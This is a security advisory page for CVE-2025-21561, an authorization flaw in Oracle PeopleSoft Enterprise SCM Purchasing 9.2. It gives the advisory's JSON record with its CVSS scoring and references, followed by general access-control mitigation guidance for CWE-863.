Vulnerability in the PeopleSoft Enterprise SCM Purchasing product of Oracle PeopleSoft (component: Purchasing). The supported version that is affected is 9.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise SCM Purchasing. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise SCM Purchasing accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise SCM Purchasing accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-21561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-21T21:15:22Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the PeopleSoft Enterprise SCM Purchasing product of Oracle PeopleSoft (component: Purchasing).   The supported version that is affected is 9.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise SCM Purchasing.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of PeopleSoft Enterprise SCM Purchasing accessible data as well as  unauthorized read access to a subset of PeopleSoft Enterprise SCM Purchasing accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).",
  "id": "GHSA-4qxc-98vx-fp5g",
  "modified": "2025-01-21T21:30:56Z",
  "published": "2025-01-21T21:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21561"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.